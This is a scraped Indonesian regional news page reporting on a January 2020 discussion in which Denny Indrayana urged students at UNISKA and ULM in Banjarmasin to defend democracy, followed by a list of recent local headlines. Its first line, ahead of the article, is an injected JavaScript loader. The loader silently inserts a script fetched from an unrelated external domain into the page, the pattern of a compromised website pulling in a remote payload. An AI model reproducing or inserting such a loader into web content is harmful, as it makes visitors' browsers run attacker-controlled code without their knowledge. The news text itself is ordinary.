(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kampus

Denny Indrayana: Saat Demokrasi Sakit, Hanya Mahasiswa yang Mampu Menyembuhkan!


KANALKALIMANTAN.COM, BANJARMASIN– Setelah sempat diwarnai insiden gagalnya acara di kantin kampus Universitas Islam Kalimantan (UNISKA) Banjarmasin pada Kamis (23/01/2020) sore, diskusi antara pakar hukum tata Negara Prof. Denny Indrayana bersama sejumlah mahasiswa di Banjarmasin nyatanya tetap bisa berlangsung. Meski lokasi acara berpindah ke rumah Dr Muhammad Uhaib As’ad yang merupakan akademisi UNISKA Banjarmasin, di kawasan Sultan Adam Banjarmasin.

Mengusung tema ‘Peran Mahasiswa dalam Demokrasi di Kalsel,’  Denny mencoba mengajak mahasiswa UNISKA dan Universitas Lambung Mangkurat (ULM), berperan dalam proses demokrasi. Menurut pakar hukum tata negara ini, antara mahasiswa dengan demokrasi merupakan bagian yang menarik untuk dibicarakan.

Sebab saat demokrasi mengalami sakit, maka yang bisa menyembuhkan dan menjadi alat perjuangan adalah mahasiswa. “Kita tahu, Angkatan 66 dan Angkatan 98 bahkan 2019 kita berharap ada gerakan mahasiswa yang menyelamatkan KPK. Sempat ada harapan itu, walaupun KPK juga mati. Jadi mahasiswa ini, dalam sejarah  Indonesia dan dunia adalah bagian dari penyelamat demokrasi saat dia lumpuh atau dilumpuhkan,” kata Denny.

Maka menjadi sangat penting untuk melihat bagaimana melihat peranan mahasiswa Kalsel dengan demokrasi di Banua yang menurutnya masih bermasalah. Selain itu, mahasiswa di manapun memiliki karakter yang berbeda dengan elemen masyarakat lainnya, di mana mahasiswa memiliki genuisitas. Seperti kemurnian dalam berpikir, kemurnian dalam bertindak, mereka mengangkat isu dan lain-lain.

“Di sisi lain mereka punya memiliki kapasitas intelektual yang tidak bisa dikecilkan. Kalau stakeholder yang lain, sedikit banyak problematik dari sisi originalitas pemikiran itu, karena mungkin sudah punya keterkaitan dengan ormas atau parpol,” papar mantan Wamenkumham era Presiden SBY ini.

Salah satu keuntungan dari mahasiswa, menurut Prof. Denny, adalah originalitas atau bebas dari kepentingan apapun. Karena, mahasiswa menjaga independensi dalam berpikir dan bertindak. Karena itulah yang menyebabkan mahasiswa sulit untuk didikte, mahasiswa sulit untuk dicegah jika bergerak dan sering kritis terhadap penguasa yang tiran. “Tentu ini menyebabkan teman-teman mahasiswa punya kekuatan besar dalam menyelamatkan demokrasi di tanah air,” katanya.

Berbicara dalam konteks Kalsel, Denny menyatakan bahwa demokrasi akan menjadi problematik bilamana berhadapan dengan bad governance. Artinya, berhadapan dengan tindakan represif, korupsi dan kekerasan. “Dan sedikit banyak kita punya analisa-analisa itu di Kalsel,” tandasnya.

Sementara itu, akademisi UNISKA Banjarmasin Dr. Muhammad Uhaib As’ad menyebut, mahasiswa saat ini sangat nyaman dalam berekspresi. Tentunya, berbeda dengan zaman dirinya di era 1980an yang kerap kali mendapat tekanan dari rezim Orde Baru.

“Bagaimanapun juga, tren politik mahasiswa dalam konstelasi sekarang itu tak dapat dipisahkan. Bagaimana mahasiswa di era 1928, angkatan 66, angkatan 74, itu juga gerakan politik mahasiswa yang tidak dapat dipisahkan dari sejarah politik di negeri ini,” kata Dr. Uhaib. (Kanalkalimantan.com/Fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

21 menit ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

4 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

4 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

5 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

6 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

8 jam ago

This website uses cookies.